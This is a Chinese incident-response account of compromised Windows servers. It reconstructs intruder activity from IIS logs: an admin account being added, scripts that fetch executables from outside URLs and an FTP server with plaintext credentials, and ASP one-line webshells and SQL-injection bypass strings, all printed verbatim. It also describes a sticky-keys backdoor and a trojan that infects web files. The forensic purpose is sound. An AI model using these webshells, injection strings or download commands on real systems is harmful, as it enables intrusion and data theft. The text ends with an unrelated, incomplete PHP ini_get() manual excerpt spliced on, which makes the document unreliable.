在本服务器的c盘根目录下面有一个sethc..exe 文件。这个文件是微软自带的,是系统粘制键,真实的大小应为27kb,而这个文件为270kb,起初我以为是由于打补丁的原因。但是经过翻阅一些资料和做比对之后,才知道这样的文件是一个新开发的流行后门,主要用法:通过3389终端,然后通过5次敲击shift键,直接调用sethc.exe而直接取得系统权限。随后达到控制整个服务器,通常他还是通过删除正常的一些c盘exe文件。然后把自己伪造成那个所删除的exe文件名。造成一种假象。
这里我们提供解决方法如下:个人建议这个功能实用性并不高,建议直接删除这个文件,如果有人利用这个手法来对你的服务器进行入侵,那就肯定是有人做了手脚,可以第一时间发现黑客入侵行为,也可以作为取证分析的一个思路;在控制面板的辅助功能里面设置取消粘制键。
 
三、 利用专用防火墙检查工具去查看网络连接情况
目的是通过抓数据包来找出问题。如果对方安装的有远程控制终端,他肯定需要让保存在服务器上的后门和控制终端进行通话,会有一个会话连接。通过防火墙的拦截功能而去寻找出控制的源头。这个上面没有发现存在反弹木马,所以没有看到入侵的源头。
 
四、检查系统日志
作用:检查系统日志是否被入侵者清除,如果日志被入侵者删除,需要用数据恢复软件恢复操作系统日志
检查内容:主要包括IIS日志,安全性日志,系统日志。
 
更近一步深入检查:
找到日志后,仔细分析网站是否有入侵者留下的webshell,尤其是一句话后门
根据Webshell的名字, 在IIS 访问日志里搜索相关的名字,找到入侵者常用的ip地址,分析ip地址
还可以根据此IP地址检索IIS日志中,此入侵者都进行过什么样的操作
 
技术点滴:如果你比较熟悉Webshell,通过Get操作可以知道入侵者都进行过何种操作。因为Get操作是被系统记录的。
如果入侵者装有系统级的后门,用常用工具比如冰刃(IceSword),System Repair Engineer (SREng)等分析出可疑文件,用其他调试工具分析找到入侵者控制端IP地址。
 
通过服务器日志查出隐藏在后面的幕后黑客
通过iis的log访问日志,排查出三个可疑目标,其中一个手法相对于后两个入侵者更熟练一些,他在今年5月份左右或者更早就拿到了该服务器权限,上来之后到是没有做任何的添加和修改,从技术上来看,他是通过寻找网站的注入点进来的,然后在上面放了不少的后门,还放了一个mm.exe的文件,但是因为技术问题,没有把这个马运行起来,从外部访问只是在主页上显示为mm.jpeg,伪装成了图片。但是打开以后,什么都没有。经过我们分析以后,它是一张裸女的 jpeg文件。如果他这个mm.exe成功,完全有可能将该主站页面换成一张黄色图片。危害还是有的。另外该站点权限给的过高,在访问新闻频道的时候,直接就是sa权限。这个是最高系统级和Admin是一个级别的。
由于服务器被网管人员重新装过,初步怀疑是用的ghost安装的,造成了原珍贵日志数据无法找回,我们只能分析出7月份-12月份这段时间的日志,通过这些日志我们又发现了针对此站点的入侵记录。
入侵者操作再现:(黑客入侵操作过程分析)
2007-07-15 14:51:53 61.184.107.206 添加管理用户 net localgroup administrator Cao$ /add
2007-07-15 15:08:56 61.184.107.206 写下载exe的vbs脚本 c:\admin.vbs 试图下载exe地址为:http://www.dianqiji.com/pic/2007/0428/admin.exe
2007-08-12 09:48:45 218.205.238.6 写入webshell小马:d:\ybcenter\gg3.asp shell里留的QQ:183037,之后此人频繁用此后门登陆服务器
2007-08-25 08:03:15 218.28.24.118 曾访问他以前留下的操作数据库的webshell /system/unit/main.asp 此后门可以浏览到敏感数据库的信息
2007-08-25 08:12:45 218.28.24.118 写入另一个webshell D:\ybcenter\ggsm.asp
之后,218.28.24.118用以前留下的功能比较全的webshell /Cnnsc.asp和/system/unit/Cnnsc.asp频繁操作服务器上文件
2007-11-11 14:23:23 218.28.24.118 用他曾经留下的操作数据库的后门/service/asp.asp访问敏感数据库的信息
2007-08-25 08:27:57 218.28.24.118 用他曾经留下的操作数据库的后门/system/unit/sql.asp访问敏感数据库的信息
2007-11-11 11:02:55 218.28.24.118 试图访问他曾经留下的操作数据库的后门/yb/in_main3.asp访问敏感数据库
2007-08-06 12:42:41 218.19.22.152 写下载脚本C:\down.vbs 下载的exe为http://ray8701.3322.org/1.exe
2007-08-09 11:57:16 218.19.98.147 写ftp下载exe的脚本c:\zxq.txt ftp服务器203.253.31.244 用户名kick1000 密码84460965 下载1.exe
2007-08-26 07:43:47 123.5.57.117 试图攻击服务器
2007-08-26 07:43:47 123.5.57.117 写ftp下载exe的脚本c:\zxq.txt ftp服务器203.253.31.244 用户名kick1000 密码84460965 下载1.exe
2007-12-10 12:41:34 123.52.18.141 检测注入
 
五、查看登陆信息 查看是否存在有克隆帐户
方法:检查注册表里面的sam文件有没有相同的fv,在这里检查过程中没有发现存在有克隆帐号。
 
六、查看系统安装日志,在这里并未发现问题
 
七、 查看IIS访问日志,在这里发现了攻击者信息
2007-12-01 08:55:16 220.175.79.231 检测注入
2007-12-03 18:40:48 218.28.68.126 检测注入
2007-12-04 01:31:32 218.28.192.90 检测注入,扫描web目录
2007-12-04 23:23:33 221.5.55.76 检测注入
2007-12-05 09:20:57 222.182.140.71 检测注入
2007-12-08 09:39:53 218.28.220.154 检测注入
2007-12-08 21:31:44 123.5.197.40 检测注入
2007-12-09 05:32:14 218.28.246.10 检测注入
2007-12-09 08:47:43 218.28.192.90 检测注入
2007-12-09 16:50:39 61.178.89.229 检测注入
2007-12-10 05:50:24 58.54.98.40 检测注入
定位可疑IP地址,追踪来源 查出IP地址的信息。
 
八、查看网站首页的源代码。
在iframe 这个位置查看是否有不属于该网站的网站信息。(查找 网马的方法),以及如何发现一些潜在的木马和网络可利用漏洞。
下面是我们得到的一些他的网马。
gg3.asp Q:183637
log.asp
pigpot.asp
webdown.vbs
attach/a.gif
attach/chongtian.gif
attach/111.rar
system/unit/yjh.asp
system/unit/conn.asp 加入防注入
Q:6242889678
images/mm.jpg = exe自解压 主页包含文件
一句话木马:
<%execute request %>
备份一句话木马
<%eval(request(“a”):response.end%>
注射检查,在IIS里面查找是否存在的有针对
%20 and 1=1’sql
‘or’=’or’ a’or’1=1– ,’or1=1– ,”or1=1– ,or1=1–, ‘or’a’=’a, “or”=”a’=’a

作用:躲避验证信息 主要用在后台登陆上
%5c 爆数据库,作用直接下载服务器上的数据库,获得用户名和密码,经过系统提权而拿到整个服务器权限。
针对一些下载者这样的木马,主要需要在windows /document and setting下面的local setting 的 temp 或者 temp internet的这个文件夹中查看刚生成的exe文件,重点查看一下在system32文件夹下面的exe文件,尤其关注最新生成的exe文件,伪造的系统文件等。
以上就是针对A服务器的整个检查过程以及发现问题后该如何处理和补救的相关解决方法。
B服务器检查取证分析
B服务器装的是windows2000 server版本,操作步骤同上。
经过一段细心的检查还是让我和助手们发现了一个木马,起因是在网站源代码处发现都被插入了一些奇怪的代码,在system32系统文件夹下还发现了新的niu.exe,非常可疑,提取该exe文件,在虚拟机中进行分析,得出该exe工作原理:
该exe 属木马类,病毒运行后判断当前运行文件的文件路径如果不是%System32%\SVCH0ST.EXE,将打开当前文件的所在目录复制自身到% System32%下,更名为SVSH0ST.EXE,并衍生autorun.inf文件;复制自身到所有驱动器根目录下,更名为niu.exe,并衍生 autorun.inf文件,实现双击打开驱动器时,自动运行病毒文件;遍历所有驱动器,在htm、asp、aspx、php、html、jsp格式文件的尾部插入96个字节的病毒代码;遍历磁盘删除以GHO为扩展名的文件,使用户无法进行系统还原;连接网络下载病毒文件;修改系统时间为2000 年;病毒运行后删除自身。
以上是我配合有关部门参与的真实的一次的取证记录,因为答应过朋友要保守秘密,所以真实的一些ip地址和信息这里都做保留。同时在这里我要感谢安天cert组的战友的帮忙,以及身边的2个助手的并肩作战。

获取php.ini设置变量

 ini_get
(PHP 4, PHP 5)

ini_get — Gets the value of a configuration option


说明


string ini_get( string varname )


Returns the value of the configuration option on success.

 

参数
varname
The configuration option name.


返回值
Returns the value of the configuration option as a string on success, or an empty string on failure.

 

范例
例 1. A few ini_get() examples



 

上例的输出类似于:

display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
post_max_size in bytes = 8388608